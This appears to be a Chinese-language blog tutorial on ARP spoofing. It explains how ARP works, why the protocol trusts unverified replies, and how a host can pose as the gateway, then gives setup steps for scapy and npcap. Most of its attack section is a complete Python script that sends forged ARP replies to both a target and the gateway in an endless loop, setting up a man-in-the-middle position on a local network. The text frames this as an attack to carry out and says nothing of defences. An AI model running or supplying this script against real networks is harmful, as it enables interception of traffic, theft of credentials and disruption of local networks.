python之arp攻击

arp协议

ARP协议(address resolution protocol)地址解析协议

一台主机和另一台主机通信,要知道目标的IP地址,但网卡不能直接识别IP地址,所以用ARP解析协议将IP地址解析成MAC地址。

ARP协议的基本功能就是通过目标设备的IP地址,来查询目标设备的mac地址。

arp缓存表

在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照关系。ARP缓存

表的生命周期是有时限的(一般不超过20分钟)。

windows系统查看arp缓存表命令:

arp -a

ARP协议的缺陷

ARP协议是建立在信任局域网内所有节点的基础上的,他的效率很高。但是不安全。它是无状态的协议。他不会检查自己是否发过请求包,

也不知道自己是否发过请求包。他也不管是否合法的应答,只要收到目标mac地址是自己的ARP reply或者ARP广播包(包括ARP reply和ARP request),

都会接受并缓存。

ARP攻击原理

ARP欺骗攻击建立在局域网主机间相互信任的基础上的

当A发广播询问:我想知道IP是192.168.0.3的硬件地址是多少?

此时B当然会回话:我是IP192.168.0.3我的硬件地址是mac-b,

可是此时IP地址是192.168.0.4的C也非法回了:我是IP192.168.0.3,我的硬件地址是mac-c。而且是大量的。

所以A就会误信192.168.0.3的硬件地址是mac-c,而且动态更新缓存表

这样主机C就劫持了主机A发送给主机B的数据,这就是ARP欺骗的过程。

假如C直接冒充网关,此时主机C会不停的发送ARP欺骗广播,大声说:我的IP是192.168.0.1,我的硬件地址是mac-c,

此时局域网内所有主机都被欺骗,更改自己的缓存表,此时C将会监听到整个局域网发送给互联网的数据报。

ARP病毒攻击症状

通常表现:

  • 打开网页速度非常慢,甚至打不开
  • 提示IP地址冲突
  • 甚至导致局域网瘫痪
  • 一般会绑定木马病毒,窃取用户账号密码

python实现arp攻击

安装scapy

当前最新版本是2.4.2

安装官方:https://pypi.org/project/scapy/
文档地址:https://scapy.readthedocs.io/en/latest/installation.html#installing-scapy-v2-x

安装命令

pip install scapy

安装npcap

scapy2.4.2版本底层依赖npcap,所以需要安装npcap

下载地址:https://nmap.org/npcap/#download

代码

import threading,time
from scapy.all import (
  ARP,
  Ether,
  sendp
)
import traceback

def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
    '''
    生成ARP数据包,伪造网关欺骗目标计算机
    srcMac:本机的MAC地址,充当中间人
    tgtMac:目标计算机的MAC
    gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
    tgtIP:目标计算机的IP
    op=2,表示ARP响应
    '''
    pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
    return pkt

def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
    '''
    生成ARP数据包,伪造目标计算机欺骗网关
    srcMac:本机的MAC地址,充当中间人
    gatewayMac:网关的MAC
    tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
    gatewayIP:网关的IP
    op=2,表示ARP响应
    '''
    pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
    return pkt

def arp():
  try:
    srcMac=''#本机mac
    tgtMac=''#目标mac
    gatewayMac=''#网关mac
    gatewayIP=''#网关ip
    tgtIP=''#目标ip

    pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
    pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)



    while True:
        t = threading.Thread(target=sendp,args=(pktstation,))
        t.start()
        t.join()

        s = threading.Thread(target=sendp,args=(pktgateway,))
        s.start()
        s.join()

        time.sleep(1)#一般休眠1秒即可,如果不行,修改为0.1秒
  except Exception as g:
    traceback.print_exc()
    exit()

arp()

感谢:
https://www.cnblogs.com/manue1/p/4462327.html
https://www.cnblogs.com/darkpig/p/5866077.html